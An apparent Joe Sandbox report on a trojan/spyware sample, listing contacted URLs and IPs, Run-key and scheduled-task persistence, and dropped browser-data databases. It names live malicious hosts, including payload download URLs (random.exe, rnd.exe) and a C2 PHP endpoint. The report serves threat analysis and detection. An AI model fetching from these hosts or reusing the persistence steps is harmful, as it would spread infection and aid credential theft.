https://property-imper.sbs/apiNQ	f5d46eacf9.exe, 00000010.00000003.2899169599.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2912961282.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2939602489.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	false
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://yandex.com	firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/searchpictureinpicture	firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.comTY8H	firefox.exe, 00000033.00000003.3092221449.000001FD7FE98000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://monitor.firefox.com/about	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpu	a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000033.00000003.2923957056.000001FD029BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2943366666.000001FD02A31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2941146283.000001FD02865000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3008595129.000001FD02D40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3019356663.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpv	a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.m/pki	aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608439667.0000000002AAB000.00000004.00000020.00020000.00000000.sdmp	false
https://coverage.mozilla.org	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206ones	a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	false
http://x1.c.lencr.org/0	aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	false
https://blocked.cdn.mozilla.net/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	false
http://185.215	f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000131F000.00000004.00000020.00020000.00000000.sdmp	true
http://185.215.113.16/steam/random.exeN	f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false
https://profiler.firefox.com	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3001908689.000001FD7FF76000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	false
https://mozilla.cloudflare-dns.com/dns-query	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	aspnet_regiis.exe, 00000009.00000003.2507588563.0000000004EA8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://property-imper.sbs/?	f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/preferences	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/search	firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	false
https://relay.firefox.com/api/v1/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000033.00000003.3035566153.000001FD7EA1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3100880734.000001FD7EA1E000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exe	f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations	firefox.exe, 00000033.00000003.2947256667.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3096982784.000001FD02BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3084526873.000001FD02BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2959815531.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2910874128.000001FD7E833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3019356663.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp	false
https://topsites.services.mozilla.com/cid/	firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	false
https://property-imper.sbs:443/apimd	f5d46eacf9.exe, 0000000E.00000003.2801097956.0000000001311000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/rnd.exe	f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	false
https://property-imper.sbs/	f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2801097956.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2939285623.0000000001198000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2888691448.0000000001198000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3100493391.000000000118D000.00000004.00000020.00020000.00000000.sdmp	true
https://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.129.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	true
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
172.217.21.36	unknown	United States	15169	GOOGLEUS	false
172.67.223.140	disobey-curly.sbs	United States	13335	CLOUDFLARENETUS	true
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561498
Start date and time:	2024-11-23 15:20:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@125/78@122/24
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 20.189.173.22, 172.217.21.35, 172.217.17.46, 74.125.205.84, 64.233.165.84, 34.104.35.123, 172.217.19.238, 23.218.210.69, 2.20.41.214, 35.164.125.63, 35.80.238.59, 52.12.64.98, 88.221.134.209, 88.221.134.155, 172.217.17.35, 172.217.19.202, 172.217.21.42, 172.217.19.234, 172.217.17.74, 142.250.181.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 142.250.181.10, 172.217.17.42, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, onedsblobprdwus17.westus.cloudapp.azure.com, clientservices.googleapis.com, a17.rackcdn.com.mdc.edgesuite.net, learn.microsoft.com, aus5.mozilla.org, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, safebrowsing.googleapis.com, clients1.google.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.traff
Execution Graph export aborted for target file.exe, PID 6736 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2412 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5840 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:22:01	API Interceptor	15449429x Sleep call for process: skotes.exe modified
09:22:14	API Interceptor	8x Sleep call for process: aspnet_regiis.exe modified
09:22:29	API Interceptor	204x Sleep call for process: f5d46eacf9.exe modified
09:22:37	API Interceptor	1x Sleep call for process: WerFault.exe modified
09:22:48	API Interceptor	398x Sleep call for process: a0a3a50765.exe modified
09:23:25	API Interceptor	1x Sleep call for process: firefox.exe modified
09:23:43	API Interceptor	1160009x Sleep call for process: 2096827834.exe modified
14:21:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
14:22:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f5d46eacf9.exe C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe
14:22:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a0a3a50765.exe C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
14:22:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9777a59422.exe C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe
14:22:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 796ccdd7ba.exe C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe
14:23:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f5d46eacf9.exe C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe
14:23:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run a0a3a50765.exe C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
14:23:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9777a59422.exe C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe
14:23:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 796ccdd7ba.exe C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe
14:24:59	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJEGCGDGHDHIDHDGCBGIJKFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFBKFIDHIDGHJKFBGHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEBKEH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECFBAAAFHIIDGCGCBFBAKFHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHIEBFHCAKEHIDGHCBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.5297920305609365
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6shj4qyaaX86KakfGNBw8dISl:de+quOcwV0
MD5:	6D2A6AAAFA45C13C88DBF0B5098CB4D1
SHA1:	8C9728F0E37F80DB3946ED22A9CBE61A0D11DCCD
SHA-256:	1BF29AABF339DC0EE15259D347ED96F5381824386238383F1D0A80B4FD983CF2
SHA-512:	3B685D438987B12F0BEAB74E44A6CE5A60EF18D389EA402ED8AF308FF99BD75323EC25906408E13B0BE92B27AE7E159C90079040B13B55E42B0A73DD857BF532
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JKEGDHCF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
